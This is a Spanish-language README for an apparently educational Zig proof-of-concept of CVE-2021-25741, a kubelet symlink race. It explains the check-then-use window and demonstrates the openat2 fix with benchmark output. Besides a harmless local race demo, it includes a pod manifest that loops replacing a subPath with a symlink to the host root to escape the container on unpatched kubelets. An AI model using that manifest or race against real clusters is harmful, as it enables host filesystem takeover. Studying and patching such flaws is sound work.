
POC de CVE-2021-25741 en Zig
Exploit educativo de la condición de carrera TOCTOU (Time Of Check, Time Of Use) que está en el origen de CVE-2021-25741, una vulnerabilidad en el kubelet de Kubernetes.
El proyecto demuestra localmente (sin clúster K8s) cómo un intercambio concurrente de symlink puede saltarse una verificación de ruta entre lstat() y open(), y prueba que openat2() con los flags RESOLVE_* es la solución.
Cuando el kernel resuelve una ruta como /a/b/c/file, lo hace componente por componente. En cada paso, si el componente es un symlink, el kernel lo sigue automáticamente. Esta resolución no es atómica — el sistema de archivos puede cambiar entre dos pasos.
El kubelet de Kubernetes hacía exactamente este patrón vulnerable:
1. CHECK : lstat(subPath) → "es un directorio, es seguro"
↕ VENTANA DE RACE — un proceso en el contenedor cambia el directorio por un symlink
2. USE : mount(subPath) → sigue el symlink, monta el sistema de archivos host
Entre la verificación y el mount, un proceso malicioso en el contenedor podía reemplazar el subPath por un symlink hacia / del host, obteniendo así acceso completo al sistema de archivos host.
La syscall openat2 (kernel 5.6+) resuelve la ruta y abre el archivo de manera atómica, con restricciones:
Con openat2, no hay ventana TOCTOU: si aparece un symlink durante la resolución, la syscall falla inmediatamente.
Dos hilos cooperan para explotar la ventana TOCTOU:
workdir/
├── legit_dir/
│ └── secret.txt → contiene "LEGIT"
├── symlink_target/
│ └── secret.txt → contiene "PWNED"
└── target/ → intercambiado entre directorio real y symlink
Corre en un bucle ultrarrápido e intercambia atómicamente target/ entre dos estados mediante renameat2(RENAME_EXCHANGE):
target/ es un directorio real (contiene secret.txt = "LEGIT")target/ es un symlink hacia symlink_target/ (contiene secret.txt = "PWNED")Una sola syscall por intercambio = ventana de race máxima.
Reproduce el patrón vulnerable del kubelet:
fstatat("target", AT_SYMLINK_NOFOLLOW) — verifica que es un directorioopenat(dirfd, "target/secret.txt", O_RDONLY) — abre el archivoread() — lee el contenido"PWNED" → race win (el symlink fue seguido)"LEGIT" → race loss (era el directorio real)En modo protegido (--use-openat2), el paso 3 usa openat2 con RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH. Si hay un symlink, el kernel devuelve ELOOP en lugar de seguirlo.
src/
├── main.zig # Punto de entrada: parsea CLI, crea el estado compartido, lanza los
│ # hilos, mide el tiempo, muestra los resultados
│
├── racer.zig # Hilo racer: prepara el estado inicial (target → symlink),
│ # luego buclea con renameat2(RENAME_EXCHANGE) para intercambiar
│ # target/ y legit_dir/ continuamente
│
├── victim.zig # Hilo victim: buclea N iteraciones de fstatat → delay →
│ # openat/openat2 → read → compara "LEGIT" vs "PWNED"
│
├── setup.zig # Crea el árbol de prueba: workdir/, legit_dir/,
│ # symlink_target/, target/ con los archivos centinela
│
├── syscalls.zig # Constantes y wrappers para syscalls raw:
│ # - struct open_how (UAPI del kernel, 3×u64)
│ # - flags RESOLVE_*
│ # - RENAME_EXCHANGE (= 2)
│ # - openat2() mediante linux.syscall4(.openat2, ...)
│ # - rename_exchange() mediante linux.renameat2()
│ # - Helpers: is_err(), to_errno(), to_fd()
│
└── stats.zig # Contadores atómicos lock-free (std.atomic.Value(u64))
# para wins, losses, errors, eloop + salida formateada
Todas las syscalls se invocan mediante std.os.linux.* directamente (sin wrappers de std.fs o std.posix). La única syscall sin wrapper en la stdlib de Zig 0.15 es openat2, que se llama mediante linux.syscall4(.openat2, ...) con una estructura open_how definida manualmente a partir de los headers UAPI del kernel.
| Herramienta | Versión | Por qué |
|---|---|---|
| Zig | 0.15.x | Compilador + compilación cruzada |
El binario se compila en estático (musl libc) y funciona en cualquier Linux sin dependencias.
Kernel mínimo:
renameat2(RENAME_EXCHANGE)openat2 con RESOLVE_* (necesario solo para --use-openat2)Docker Desktop y colima en Mac usan un kernel 6.x — todo está soportado.
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (para nodos x86)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
El binario está en zig-out/bin/race-exploit.
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
# Iniciar el runtime Docker (si macOS)
colima start
# Ejecutar el exploit (modo vulnerable por defecto)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
# Modo vulnerable (openat) — la race funciona
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# Modo protegido (openat2) — la race está bloqueada
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
O con el script que lanza ambos:
./scripts/run_in_docker.sh --iterations 10000
El parámetro --delay-us añade un retardo entre el lstat (check) y el openat (use). Cuanto más largo sea el retardo, más ancha es la ventana TOCTOU, y mayor es el win rate:
# Sin retardo — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — win rate ~50% (limitado, el racer intercambia mucho más rápido)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
En un kubelet real, la latencia entre la verificación del subPath y el bind mount es del orden de varios milisegundos (llamadas API, preparación del namespace de montaje, etc.), lo que hace que la race sea muy fiable en condiciones reales.
race-exploit [options]
--iterations N Número de intentos (por defecto: 10000)
--delay-us N Microsegundos entre lstat y open (por defecto: 0)
--use-openat2 Usar openat2 con RESOLVE_* (modo protegido)
--workdir PATH Directorio de trabajo (por defecto: /tmp/race-workdir)
--help Mostrar ayuda
El exploit no necesita Kubernetes para funcionar — es una condición de carrera fundamental de Linux. Pero puedes ejecutarlo en un nodo real para probar en las mismas condiciones que el kubelet.
# Compilar para la arquitectura del nodo
# ARM64 (EKS con Graviton, GKE con T2A, etc.)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# o x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# Copiar el binario al nodo
scp zig-out/bin/race-exploit user@node:/tmp/
# Ejecutar en el nodo
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# Verificar la versión del kernel (>= 5.6 para openat2)
ssh user@node uname -r
Crear un pod que incluya el binario y lo ejecute:
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # el binario debe copiarse aquí previamente
restartPolicy: Never
# Copiar el binario al nodo primero
kubectl cp zig-out/bin/race-exploit <node>:/tmp/race-exploit
# Lanzar el pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
Para reproducir el escenario exacto de CVE-2021-25741, hay que explotar la race mientras el kubelet prepara un bind mount de un volumen con subPath:
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Este script se ejecuta en el contenedor e intercambia el subPath
# mientras el kubelet prepara el mount
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← el kubelet verifica y luego monta esta ruta
volumes:
- name: shared-vol
emptyDir: {}
Importante: este ataque solo funciona en kubelets sin parchear (versiones < 1.22.2, < 1.21.5, < 1.20.11). Los kubelets recientes usan openat2 con RESOLVE_NO_SYMLINKS para resolver el subPath.
Para verificar si tu kubelet es vulnerable:
# Versión del kubelet
kubectl get nodes -o wide
# Verificar si se usa openat2 en el kubelet (en el nodo)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
Observaciones clave:
lstat ve un symlink y no intenta el open)openat, ~25% de los intentos resultan en un win (se lee el archivo "PWNED")openat2, 0% de wins — cada intento donde el racer ha intercambiado es detectado por el kernel que devuelve ELOOPEl archivo define las constantes que faltan en la stdlib de Zig 0.15:
// renameat2(2) : intercambio atómico de dos entradas del sistema de archivos
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : struct pasada a la syscall
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY, etc.
mode: u64 = 0, // permisos (si O_CREAT)
resolve: u64 = 0, // flags RESOLVE_*
};
// Flags de resolución para open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // rechaza todo symlink
pub const RESOLVE_BENEATH: u64 = 0x08; // prohíbe subir por encima del dirfd
openat2 se llama mediante linux.syscall4(.openat2, ...) porque Zig 0.15 tiene el número de syscall pero no un wrapper.
Al inicio, transforma target/ en un symlink hacia symlink_target/, luego buclea con dos renameat2(RENAME_EXCHANGE) que intercambian target y legit_dir:
Iteración 1: target=dir, legit_dir=symlink ← víctima ve un dir, abre normalmente
Iteración 2: target=symlink, legit_dir=dir ← víctima sigue el symlink → PWNED
Reproduce lstat → delay → openat/openat2 → read → compara. Los resultados se cuentan en contadores atómicos lock-free (fetchAdd con ordering .monotonic).
Crea el árbol de directorios con mkdirat, openat(O_CREAT) y write — todos mediante syscalls raw. Dos archivos centinela: "LEGIT" en el directorio real, "PWNED" en el destino del symlink.
# Trazar todas las syscalls de los dos hilos
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# Filtrar las syscalls interesantes
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# Ver los ELOOP de openat2
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
Nota: strace no está instalado por defecto en Alpine. Usar alpine:edge o instalar con apk add strace:
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
| Flag | Efecto |
|---|
RESOLVE_NO_SYMLINKS | Rechaza seguir cualquier symlink → devuelve ELOOP |
RESOLVE_BENEATH | Rechaza salir del directorio base → devuelve EXDEV |
RESOLVE_IN_ROOT | Trata el dirfd como la raíz del sistema de archivos |
RESOLVE_NO_XDEV | Rechaza atravesar puntos de montaje |
| Docker | cualquiera | Para ejecutar el binario Linux en Mac |
| colima | cualquiera | Runtime Docker en macOS (o Docker Desktop) |
| Syscall | Rol en el exploit | Wrapper Zig |
|---|
renameat2(RENAME_EXCHANGE) | Intercambio atómico target ↔ legit_dir | linux.renameat2() |
fstatat(AT_SYMLINK_NOFOLLOW) | lstat : verifica si target es un dir o symlink | linux.fstatat() |
openat(O_RDONLY) | Abre el archivo siguiendo symlinks (vulnerable) | linux.openat() |
openat2(RESOLVE_NO_SYMLINKS) | Abre el archivo rechazando symlinks (fix) | linux.syscall4(.openat2, ...) |
symlinkat | Crea el symlink inicial target → symlink_target | linux.symlinkat() |
unlinkat | Elimina target antes de recrearlo como symlink | linux.unlinkat() |
mkdirat | Crea los directorios de prueba | linux.mkdirat() |
read / write / close | IO sobre los archivos centinela | linux.read() / linux.write() / linux.close() |